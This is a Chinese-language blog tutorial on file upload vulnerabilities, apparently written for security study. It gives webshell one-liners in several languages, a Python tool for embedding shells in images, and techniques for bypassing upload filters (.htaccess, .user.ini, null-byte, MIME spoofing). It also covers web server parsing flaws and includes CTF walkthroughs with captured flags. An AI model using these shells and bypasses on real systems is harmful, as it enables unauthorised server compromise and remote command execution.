详解文件上传漏洞

详解文件上传漏洞

什么是文件上传

  • 一般指用户可以自主选择上传自己本地的图片,文件等到服务端

可能存在漏洞位置

  • 图片上传功能
  • 文件上传功能
  • 头像上传功能

常见的shell

  • PHP:

    <?php eval($_GET["pass"]);?>
    <?php eval($_POST["pass"]);?>
    
  • 如果 <? ?>被过滤,可以使用 <script language='php'> </script>来代替

    <script language='php'>@eval($_POST["shell"]);</script>
    
  • ASP :

    <%eval request("pass")%>
    
  • ASPX :

    <%@ Page Language="Jscript"%><%eval(Request.ltem["pass"])%>
    
  • JSP :

    <%Runtime.getRuntime().exec(request.getParameter("i"));%>
    

图片马的生成

  • 将shell写入图片,在这里给出两种办法
  • 基于CMD命令行
    copy /b 图片文件 + 要隐藏的文件 输出文件
    
  • 基于代码脚本,在这里给出自己代码示例
    import argparse
    import os
    
    def merge_files(file1, file2, output_file):
        """将两个文件合并为一个新文件,类似CMD的copy /b命令"""
        with open(output_file, 'wb') as outfile:
            # 写入第一个文件(通常是图片)
            with open(file1, 'rb') as f1:
                outfile.write(f1.read())
            
            # 写入第二个文件(通常是要隐藏的文件)
            with open(file2, 'rb') as f2:
                outfile.write(f2.read())
        
        print(f"成功合并文件,保存为: {output_file}")
    
    def split_files(merged_file, image_output, file_output, file_size):
        """从合并文件中分离出原始文件"""
        with open(merged_file, 'rb') as infile:
            # 读取图片部分(前n字节)
            image_data = infile.read(-file_size)  # -file_size 表示除了最后file_size字节外的所有内容
            
            # 读取附加的文件内容
            file_data = infile.read()
        
        # 保存图片
        with open(image_output, 'wb') as img_out:
            img_out.write(image_data)
        
        # 保存附加的文件
        with open(file_output, 'wb') as file_out:
            file_out.write(file_data)
        
        print(f"成功分离文件,图片保存为: {image_output},附加文件保存为: {file_output}")
    
    def main():
        parser = argparse.ArgumentParser(description='文件与图片合并工具 - 类似CMD的copy /b命令')
        subparsers = parser.add_subparsers(dest='command', required=True)
        
        # 创建merge命令
        merge_parser = subparsers.add_parser('merge', help='将文件附加到图片末尾')
        merge_parser.add_argument('-i', '--image', required=True, help='输入图片路径')
        merge_parser.add_argument('-f', '--file', required=True, help='要附加的文件路径')
        merge_parser.add_argument('-o', '--output', required=True, help='输出文件路径')
        
        # 创建split命令
        split_parser = subparsers.add_parser('split', help='从合并文件中分离出原始文件')
        split_parser.add_argument('-m', '--merged', required=True, help='合并的文件路径')
        split_parser.add_argument('-i', '--image-output', required=True, help='输出图片路径')
        split_parser.add_argument('-f', '--file-output', required=True, help='输出附加文件路径')
        split_parser.add_argument('-s', '--file-size', type=int, required=True, help='附加文件的大小(字节)')
        
        args = parser.parse_args()
        
        if args.command == 'merge':
            # 检查文件是否存在
            if not os.path.exists(args.image):
                print(f"错误: 图片 '{args.image}' 不存在")
                return
            if not os.path.exists(args.file):
                print(f"错误: 文件 '{args.file}' 不存在")
                return
            
            merge_files(args.image, args.file, args.output)
        elif args.command == 'split':
            # 检查文件是否存在
            if not os.path.exists(args.merged):
                print(f"错误: 合并文件 '{args.merged}' 不存在")
                return
            
            split_files(args.merged, args.image_output, args.file_output, args.file_size)
    
    if __name__ == "__main__":
        main() 
    
  • 命令行参数格式
    ///合并文件
    python xxx.py(自己保存的文件名) merge -i 图片.jpg -f 代码.php -o 新文件.jpg
    ///提取文件
    python xxx.py split -m 新文件.jpg -i 恢复的图片.jpg -f 恢复的代码.php -s 文件大小
    

一般攻击流程

  • 利用web漏洞获取web权限
  • 上传小马(小马主要作用用来上传大马)
  • 上传大马
  • 远程调用shell执行命令

一般上传检测方式

  • 客户端JavaScript检测(检测文件扩展名)
  • 服务端MIME类型检测(检测content-type内容)
  • 服务端目录路径检测(检测跟path参数相关的内容)
  • 服务端文件扩展名检测(检测跟文件extension相关的内容)
  • 服务端文件内容检测(检测内容是否合法是否含有恶意代码)等

前端检测绕过

  • 方法:客户端通过 JavaScript 等脚本对上传文件进行格式等检查。可以直接在浏览器的开发者工具中禁用 JavaScript,或者修改前端代码来绕过检查。例如,在 HTML 页面中修改文件类型检查的 JavaScript 函数逻辑,或者直接跳过文件类型验证部分。

服务端检测绕过

  • 常见的MIME类型

    • 超文本标记语言文本 .html、.htmltext/html
    • 普通文本 .txttext/plain
    • RTF 文本 .rtfapplication/rtf
    • GIF 图形 .gifimage/gif
    • JPEG 图形 .jpeg.jpgimage/jpeg
    • au 声音文件 .auaudio/basic
    • MIDI 音乐文件 mid、.midiaudio/midi、audio/x-midi
    • RealAudio 音乐文件 .ra、.ramaudio/x-pn-realaudio
    • MPEG 文件 .mpg、.mpegvideo/mpeg
    • AVI 文件 .avivideo/x-msvideo
    • GZIP 文件 .gzapplication/x-gzip
    • TAR 文件 .tarapplication/x-tar
  • 文件类型检查绕过

    • 后缀名绕过:有些服务器端仅通过文件后缀名来判断文件类型,此时可以将恶意文件的后缀名改为服务器允许的类型,如将.php 文件改为.php.jpg,或者使用一些特殊的后缀名,如.php. 等,因为某些系统在处理文件时会忽略最后的点。

    • MIME 类型绕过:服务器通过检查文件的 MIME 类型来判断文件类型。可以在发送的 HTTP 请求中伪造 MIME 类型,例如将一个 PHP 文件的 MIME 类型设置为图片的类型(image/jpeg)。

    • 文件头绕过:有些服务器会检查文件的开头几个字节(文件头)来确定文件类型。可以在恶意文件开头添加正常文件的文件头信息,如添加 GIF89a 等常见文件头,让服务器误认为是正常文件

      GIF89a  
      <script language='php'>@eval($_POST["shell"]);</script>
      
  • 文件内容过滤绕过

    • 代码混淆:对恶意代码进行混淆,如对 PHP 代码进行编码、加密等操作,使得服务器的内容检测工具无法识别出恶意代码
    • 添加干扰数据:在恶意代码中添加大量的无关数据或注释,干扰内容检测工具的分析
    • 分段上传:将恶意文件分成多个部分上传,然后在服务器端重新组合,绕过对整个文件的内容检测
  • 文件路径检查绕过

    • 目录穿越:通过在文件路径中使用 “../” 等特殊字符,将文件上传到服务器的其他目录,绕过指定的上传目录限制
    • Unicode 编码:使用 Unicode 编码来表示文件路径中的字符,绕过对路径的检查,例如将 “../” 编码后上传
  • 文件名绕过

    • 后缀大小写绕过(黑名单检测绕过)
      • 在对后缀的判断中如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式
      • flag.pHp
    • 空格绕过
      • 如果黑名单没有对后缀名进行去空处理,可以通过在后缀名后加空进行绕过
      • flag.php
    • 点绕过

      • 如果黑名单没有对后缀名进行去,处理·利用Windows系统的文件名特性,会自动去掉后缀名最后的,通过在文件名后加点进行绕过

      • 对文件名加点后,依然可以解析屏幕截图 2025-05-10 173930

        屏幕截图 2025-05-10 174046

      • flag.php.

    • ::$DATA 绕过

      • 如果黑名单没有对后缀名进行去::$DATA处理,利用Windows下NTFS文件系统的一个特性,可以在后缀名后加::$DATA,绕过对黑名单的检测
      • flag.php::$DATA
    • .htaccess文件配合名单列表绕过

      • htaccess文件(或者"分布式配置文件"),全称是Hypervertices(超文本入口)·提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录,作为用户所能使用的命令受到限制

      • ///1.htaccess
        <FilesMatch "\.jpg">
          SetHandler application/x-httpd-php
        </FilesMatch>
        /*
        这是一个 .htaccess文件,内容是对所有上传的  jpg 格式的文件都解析为 php 类型,先上传 .htaccess文件,后上传一句话木马 "<?php eval($_POST['a']); ?> "将其后缀名改为 jpg 即可上传,后获得路径后就可通过蚁剑连接
        */
        
    • %00截断(白名单检测绕过)

      • 白名单检测流程漏洞

        • 许多系统先验证文件扩展名(如.jpg),再保存文件。
        • 若验证和保存使用不同函数,可能因空字节截断导致验证与实际文件名不一致
      • 示例

        • 验证时:filename.php%00.jpg → 被截断为filename.php(验证失败)
        • 保存时:filename.php%00.jpg → 被截断为filename.php(实际保存为 PHP 文件)
      • 利用条件
        • PHP 版本 < 5.3.4
        • magic_quotes_gpc=Off(魔术引号关闭)

web解析漏洞

  • Apache 2.2.x 文件解析漏洞

    • 原理
      • Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断·比如 test.php.qwe.asd.qwe”和”.asd”这两种后缀是Apache不可识别解析,Apache就会把test.php.gwe.asd解析成php.
      • .php.phtml都为可执行 PHP 脚本
    • 形式
      • test.php.xxx,任意不属于Apache解析黑名单且也不属于白名单的名称
  • Nginx 解析漏洞

    • Nginx PATH_INFO 漏洞
      • 漏洞原理
        • 条件:PHP 配置了cgi.fix_pathinfo=1,且 Nginx 未正确处理 PATH_INFO。
        • 漏洞点
          • 请求/exists.php/any/path时,Nginx 将/exists.php作为文件处理,/any/path作为 PATH_INFO 传递给 PHP-FPM,导致任意文件被解析为 PHP。
      • 利用方式
        • 上传包含 PHP 代码的图片shell.jpg,请求http://target/shell.jpg/xxx.php
        • PHP-FPM 可能将shell.jpg作为 PHP 执行
    • Nginx 空字节(%00)截断漏洞
      • 漏洞原理
        • 条件:Nginx < 0.8.37 版本,且 PHP 配置了cgi.fix_pathinfo=1(默认值)
        • 漏洞点
          • 攻击者构造请求/shell.php%00.jpg,Nginx 将其解析为shell.php,而 PHP-FPM 处理时截断%00后的内容,执行shell.php
      • 利用方式
        • 上传 PHP 文件,通过 URL 请求http://target/shell.php%00.jpg
        • Nginx 认为是 jpg 文件放行,PHP-FPM 执行shell.php
    • Nginx 文件解析顺序漏洞
      • 漏洞原理
        • 条件:Nginx 配置了多个处理规则

          location /upload/ {
              # 允许上传图片
          }
          
          location ~ \.php$ {
              # 处理PHP文件
          }
          
        • 漏洞点:攻击者上传shell.php.jpg,利用 Nginx 解析顺序漏洞,若服务器先匹配location /upload/规则,则可能允许上传,后续再被 PHP 解析

      • 利用方式
        • 上传双扩展名文件 shell.php.jpg,并访问:http://target/upload/shell.php.jpg
        • 若服务器配置不当,可能执行 PHP 代码
    • Nginx PHP-FPM 路径解析漏洞
      • 漏洞原理
        • 条件:Nginx 使用 PHP-FPM 处理 PHP 请求,且配置了类似以下规则

          location ~ \.php$ {
              fastcgi_pass 127.0.0.1:9000;
              fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
              ...
          }
          
        • 漏洞点
          • 当请求/test.jpg/xx.php时,Nginx 会将请求交给 PHP-FPM 处理
          • PHP-FPM 根据SCRIPT_FILENAME参数执行文件,若未严格验证,可能将/test.jpg作为 PHP 文件解析
      • 利用方式
        • 上传包含 PHP 代码的图片文件(如shell.jpg

          GIF89a<?php system($_GET['cmd']); ?>
          
        • 访问:http://target/shell.jpg/xx.php

        • Nginx 将请求转发给 PHP-FPM,PHP-FPM 执行shell.jpg中的代码

  • IIS解析漏洞

    • IIS 6.0 扩展名解析漏洞
      • 条件:IIS 6.0 默认配置下,对文件扩展名的解析存在逻辑缺陷。

      • 漏洞点:
        • 目录解析:若目录名包含.asp,则该目录下所有文件(如.jpg.txt)都会被当作 ASP 文件解析。示例:http://target/vdir.asp/image.jpg
        • 分号截断:请求文件名中包含分号;时,IIS 会忽略分号后的内容。示例:http://target/shell.asp;.jpg → 被解析为shell.asp

      • 利用方式
        • 上传包含 ASP 代码的图片文件

          <% Response.Write("Hello, Hacker!"); %>
          
        • 访问

          http://target/vdir.asp/shell.jpg  # 目录解析漏洞
          http://target/shell.asp;.jpg      # 分号截断漏洞
          
    • IIS 5.0/6.0 .htaccess 解析漏洞
      • 条件:IIS 5.0/6.0 不支持.htaccess文件,但可能错误解析其中的内容。

      • 漏洞点
        • 上传包含 PHP 解析指令的.htaccess文件

          AddType application/x-httpd-php .jpg
          
        • 后续上传的.jpg文件会被当作 PHP 执行

      • 利用方式
        • 上传.htaccess文件

          AddHandler php5-script .jpg
          
        • 上传包含 PHP 代码的shell.jpg

          <?php system($_GET['cmd']); ?>
          
        • 访问:http://target/shell.jpg?cmd=dir

    • IIS 短文件名(8.3)漏洞
      • 条件:Windows 系统启用了短文件名(8.3 命名规则),且 IIS 未正确过滤。

      • 漏洞点
        • 攻击者可通过短文件名猜测敏感文件,例如:http://target/websit~1.asp → 可能对应website_config.asp
      • 利用方式
        • 使用工具(如dirbwfuzz)扫描短文件名

          wfuzz -c -z file,shortnames.txt http://target/FUZZ*
          
    • IIS 7.0/7.5 Fast CGI 解析漏洞
      • 与上述Nginx PATH_INFO 漏洞如出一辙,不再赘述

文件上传实战

BUUCTF 极客大挑战 2019 Upload

  • 进入靶场,发现让上传一个图片屏幕截图 2025-05-11 111659
  • 先尝试将一句话木马上传看是否成功屏幕截图 2025-05-11 112021
  • 结果显示,不是图片,那大概率存在对后缀名以及文件类型的检查屏幕截图 2025-05-11 112057
  • 那么尝试使用BP抓包,然后更改文件名以及类型后上传,可以发现对文件内容也进行了检测屏幕截图 2025-05-11 113001
  • 更换payload,重新上传,可以发现还是被检测出来了,可能对文件头进行检测了
    <script language='php'>@eval($_POST["shell"]);</script>
    

    屏幕截图 2025-05-11 113731

  • 修改payload后,再次上传,发现成功上传,接下来就是如何让其解析为php语言
    GIF89a
    <script language='php'>@eval($_POST["shell"]);</script>
    

    屏幕截图 2025-05-11 114226

  • 还记得上面提到的后缀名.phtml,尝试是否可以上传,发现成功上传,接下来就需要猜测文件上传到哪一个目录了,这样才可以连接到服务器屏幕截图 2025-05-11 114448
  • 先尝试最简单的路径,即/upload/,访问看是否正确,发现猜测正确屏幕截图 2025-05-11 115004
  • 使用蚁剑连接,输入URL路径,输入参数,即自己shell中传入的值,测试连接正确后添加屏幕截图 2025-05-11 115339
  • 进入网站目录后寻找flag,获得flag,为flag{fdbfd4df-e92a-4dfa-b1b2-29892ab964fd}屏幕截图 2025-05-11 115624

ACTF2020 新生赛 Upload 1

  • 进入例题,将鼠标移至灯泡出,发现文件上传点屏幕截图 2025-05-11 152634
  • 直接将上个例题中的payload上传(以后遇题建议直接上传此shell,可以省去很多步骤),开启抓包,发现给出弹框警告,且没有任何数据包被截获,说明第一步是前端检查
    GIF89a
    <script language='php'>@eval($_POST["shell"]);</script>
    

    屏幕截图 2025-05-11 153219

  • 对于客户端的代码检查,直接禁用JS,F12打开调试台,在设置中禁用屏幕截图 2025-05-11 153508
  • 然后继续上传,将抓到的包发送至重发,显示错误,大概也是在服务端对文件名即类型进行了检查屏幕截图 2025-05-11 153714
  • 修改请求包,重新进行发送,最后获取到上传的目录位置
    ///修改文件后缀名
    Content-Disposition: form-data; name="upload_file"; filename="get.phtml"
    ///修改文件类型
    Content-Type: image/jpg
    

    屏幕截图 2025-05-11 154137

  • 用蚁剑进行连接,进入根目录,获得flag屏幕截图 2025-05-11 154431
  • flag为flag{4d548868-61a8-47e4-9607-f9960dfee21b}屏幕截图 2025-05-11 154539

攻防世界 easy upload

  • 进入例题,发现是一个头像上传的功能屏幕截图 2025-05-11 205227
  • 尝试过上述所有办法,都被识别过滤,上述讲到的.htaccess文件也被过滤,在这里介绍一个类似于此文件功能的方法,即.user.ini文件
    • 作用域:仅对当前目录及其子目录有效。

    • 生效条件
      • PHP 版本需 >= 5.3.0。
      • 启用 user_ini.filename(默认值为 .user.ini)。
      • 启用 user_ini.cache_ttl(默认 300 秒,表示配置更新的检查频率)。
    • 优先级:高于 php.ini,低于 .htaccessini_set()

    • 参数选择
      • auto_prepend_file:该配置项指定的文件会在主脚本执行之前自动被包含进来
      • auto_append_file:指定的文件会在主脚本执行之后自动被包含
    • PHP 解析器不会根据文件扩展名(如.php.txt.html)来决定是否执行代码,而是始终将通过auto_prepend_file/auto_append_file包含的文件作为 PHP 代码执行。例如:

      • 即使文件名为prepend.html,只要其中包含 PHP 代码(如<?php echo "Hello"; ?>),这些代码也会被执行
      • 如果文件中包含纯文本(无 PHP 标签),则文本会被直接输出到页面
  • 那么思路现在清晰了,先指定上传一个.user.ini文件,只要此目录下存在PHP文件,并指定一个shell,然后再上传以.jpg为后缀名的文件,就会包含并按照PHP来解析执行此文件
    ///.user.ini
    GIF89a
    auto_prepend_file=a.jpg
    ///a.jpg
    GIF89a
    <?=eval($_POST["pass"]);?>
    /*
    对php进行过滤,在此用等号代替也一样,<?= 是 <?php echo 的简写形式,用于直接输出表达式的值
    */
    

    屏幕截图 2025-05-11 221542

  • 接着继续上传a.jpg,更改文件后缀名与文件类型后,最终成功上传屏幕截图 2025-05-11 222537
  • 先确认此目录下是否存在.php文件,发现有输出,证明有PHP文件,可以发现此页面和最初的index.php页面几乎一模一样,那大概率为/uploads/index.php屏幕截图 2025-05-11 224748
  • 最后通过蚁剑连接验证,成功获得flag屏幕截图 2025-05-11 223307
  • flag为cyberpeace{265e4ed16bdeaa19a6c5dbc933d77241}屏幕截图 2025-05-11 224505
posted @ 2025-05-11 23:15  水枪装尿,滋谁谁叫  阅读(93)  评论(0)    收藏  举报